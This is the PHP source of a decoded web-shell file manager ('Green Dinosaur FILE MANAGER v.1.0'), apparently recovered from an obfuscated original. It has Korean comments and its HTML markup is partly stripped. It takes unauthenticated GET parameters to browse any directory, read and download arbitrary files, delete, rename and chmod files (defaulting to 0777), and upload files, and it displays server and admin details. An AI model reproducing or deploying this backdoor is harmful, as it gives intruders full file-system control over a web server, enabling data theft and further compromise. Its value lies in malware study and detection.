/* Decoded by unphp.net */ if(isset($_GET['fpath']) && isset($_GET['fopen'])) { chdir($_GET['fpath']); $file = $_GET['fopen']; $filesize = filesize($file); // 파일 크기 $fp = fopen($file, "r"); // 읽기방식으로 열기 header("Cache-Control: no-cache, must-revalidate"); // 웹 브라우저가 cache하지 않도록... header("Content-type: application/octet-stream"); // 전송하는 content의 타입을 다운로드 받도록... header("Accept-Ranges: bytes"); // 전송되는 content의 길이 단위가 bytes임을 알림 header("Content-Disposition: attachment; filename=\"$file\""); // 다운로드 파일이름 전송 header("Content-Transfer-Encoding: binary"); // 전송되는 content의 encoding타입이 binary임을 지정 header("Content-Length: $filesize"); // 전송 파일의 크기 전송 fpassthru($fp); // 파일의 실제 내용을 전송 fclose($fp); // 파일 닫기 } else if(isset($_GET['fpath']) && isset($_GET['fread'])) { chdir($_GET['fpath']); $file = $_GET['fread']; $filesize = filesize($file); // 파일 크기 $fp = fopen($file, "r"); // 읽기방식으로 열기 $printStr = fread($fp, $filesize); fclose($fp); print $printStr; exit(0); } echo " "; $self=$_SERVER['PHP_SELF']; $srvr_sof=$_SERVER['SERVER_SOFTWARE']; $your_ip=$_SERVER['REMOTE_ADDR']; $srvr_ip=$_SERVER['SERVER_ADDR']; $admin=$_SERVER['SERVER_ADMIN']; $host=$_SERVER['SERVER_NAME']; if(strtolower(substr(PHP_OS,0,3))=="win") { $os="win"; $sep="\"; $ox="Windows"; } else { $os="nix"; $ox="Linux"; } echo "FILE MANAGER v.1.0

Green Dinosaur

File Manager
OS :".$ox." | ".php_uname()."
Host: ".$host."
Your IP : ".$your_ip." | Server IP : ".$srvr_ip." | Admin : {$admin}
"; echo "
"; if( isset($_GET['fpath']) ) { $fpath=$_GET['fpath']; if ($fpath === "") $fpath=dirname(__FILE__); } else { $fpath=dirname(__FILE__); } chdir($fpath); function filesizex($size) { if ($size>=1073741824)$size = round(($size/1073741824) ,2)." GB"; elseif ($size>=1048576)$size = round(($size/1048576),2)." MB"; elseif ($size>=1024)$size = round(($size/1024),2)." KB"; else $size .= " B"; return $size; } function DecodePerms($perms) { if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function dirDetails($directory=".") { $d = dir($directory); $fprops = array(); $dprops = array(); $prop = array(); $chunks = array(); $fl=0; $dl=0; while (false !== ($entry = $d->read())) { if ($entry === ".") continue; $chunks[0] = DecodePerms(fileperms($entry)); $chunks[1] = filegroup($entry); $chunks[2] = fileowner($entry); $chunks[3] = filegroup($entry); if (is_file($entry)) { $chunks[4] = filesize($entry); } else if (is_dir($entry)) { $chunks[4] = ""; } $chunks[5] = date("Y/F/D H:i:s", filectime($entry)); list($prop['perm'], $prop['num'], $prop['user'], $prop['group'], $prop['size'], $prop['time']) = $chunks; if (is_file($entry)) { $prop['type']='File'; } else if ($entry === "..") { $prop['type']='Upfolder'; } else if (is_dir($entry)) { $prop['type']='Directory'; } $prop['name']=$entry; array_splice($chunks, 0, 8); if (is_file($entry)) { $fprops[$fl]=$prop; $fl += 1; } else if (is_dir($entry)) { $dprops[$dl]=$prop; $dl += 1; } } for ($iii = 0; $iii < $fl; $iii ++) $dprops[$dl+$iii]=$fprops[$iii]; $d->close(); return $dprops; } function deleteFiled($file) { if (file_exists($file)) unlink($file); } function download($resource, $fname) { $down = ftp_get($resource, $fname, $fname, FTP_ASCII); if($down) { success("The file ".$fname." downloaded sucessfully"); } else { failed("The file ".$fname." failed to download"); } } function renamef($fname, $nfname) { if (file_exists($fname)) rename($fname, $nfname); } function rename_ui($path) { $rf_path=$_GET['rename']; echo "

Rename




New Name :






"; } function changeperm_ui($path) { $rf_path=$_GET['chperm']; echo "

New Permission




New Permission($rf_path) :






"; } function changeperm() { $mode = $_GET['new_perm']; $file = $_GET['fname']; chmod($file, $mode); if ($mode === "r") { // Read and write for owner, nothing for everybody else chmod($file, 0600); } else if ($mode === "w") { // Read and write for owner, read for everybody else chmod($file, 0644); } else if ($mode === "rw") { // Everything for owner, read and execute for others chmod($file, 0755); } else if ($mode === "rx") { // Everything for owner, read and execute for owner's group chmod($file, 0750); } else { chmod($file, 0777); } } function deleteDir($directory, $dir) { chdir($dir."/".$directory); $d = dir($dir."/".$directory); while (false !== ($entry = $d->read())) { if ( ($entry === ".") || ($entry === "..") ) continue; if (is_file($entry)) { deleteFiled($entry); } else if (is_dir($entry)) { deleteDir($entry, realpath($dir."/".$directory)); rmdir($entry); } } $d->close(); chdir($dir); rmdir($directory); } function createDir($file, $dir) { mkdir($dir); } function uploadf($php_path) { global $host; $max_size = 1000000000; $save_path = realpath($php_path); if (empty($_FILES) === false) { $file_name = $_FILES['userfile']['name']; $tmp_name = $_FILES['userfile']['tmp_name']; $file_size = $_FILES['userfile']['size']; if ($file_name) { if (@is_dir($save_path) === true) { if (@is_writable($save_path) === true) { if (@is_uploaded_file($tmp_name) === true) { if ($file_size < $max_size) { $file_path = $save_path . "/" . $file_name; if (file_exists($file_path)) unlink($file_path); move_uploaded_file($tmp_name, $file_path); } } } } } } } ?>
To Directory:
Upload:
Create Directory:
"; echo "
"; $property = dirDetails($fpath); foreach ($property as $dirnumber => $prop) { global $fpath; $modified = $prop['time']; if($prop['type']=='Upfolder') { print ""; } else if($prop['type']=='Directory') { print ""; } else { print ""; } } }
Name Type Size Last Modified Permissions Actions
[ ".$prop["name"]." ]".""."".$prop['size']."".$modified."".""."".$prop['size']."
[ ".$prop["name"]." ]".$prop['type']."".$prop['size']."".$modified."".$prop['perm']."Rename | Delete
".$prop['name']."".$prop['type']."".filesizex($prop['size'])."".$modified."".$prop['perm']."Download | Rename | Delete